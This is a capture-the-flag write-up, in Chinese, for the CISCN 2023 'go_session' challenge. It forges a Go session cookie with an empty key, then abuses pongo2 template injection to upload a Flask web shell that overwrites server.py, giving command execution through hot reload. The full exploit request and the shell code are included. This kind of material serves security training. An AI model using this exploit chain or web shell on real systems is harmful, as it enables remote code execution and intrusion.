6.29
[CISCN 2023 初赛]go_session
[session伪造]
三个路由
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
逐个分析
route包里面首先获取了环境变量中的SESSION_KEY
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
只是生成了一个name
为guest
的session没发现什么利用点
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
pongo2的ssti
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
发现这里先验证了session中的name
,然后对内网中的Web服务发起请求,并返回结果,不难推测出来这里内网的Web服务是flask
首先需要绕过session的验证,没有找到泄露的点,所以尝试一下空字符串或者爆破SESSION_KEY
空字符串生成一个session,成功绕过
接下来就该思考怎么rce了,对flask路由传畸形参数,构造出报错,可以得到的信息有
- 源码路径
/app/server.py
- debug=True
这就表明,Flask框架是热加载的,app.py发生改变,程序也会更新,可以利用admin路由执行Go代码去覆盖掉app.py实现rce
XssWaf会转义双引号,可以通过UA和Referer绕过传参
from flask import Flask
import os
app = Flask(__name__)
@app.route('/<cmd>')
def exp(cmd):
return os.popen(cmd).read()
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
构造请求包
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: node1.anna.nssctf.cn:28435
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
User-Agent: file
Referer: /app/server.py
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQT5N00lcNa5pAVX
Accept-Language: zh-CN,zh;q=0.9
Cookie: session-name=MTY4ODAyMDY1MnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxD8jaKZQnakiweASEwnpc_yYgnXzoFkwuRD5rEYy3oYw==
Connection: close
Content-Length: 432
------WebKitFormBoundaryUQT5N00lcNa5pAVX
Content-Disposition: form-data; name="file"; filename="1"
Content-Type: image/png
from flask import Flask
import os
app = Flask(__name__)
@app.route('/<cmd>')
def exp(cmd):
return os.popen(cmd).read()
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundaryUQT5N00lcNa5pAVX--
多次寻找,flag在环境变量里面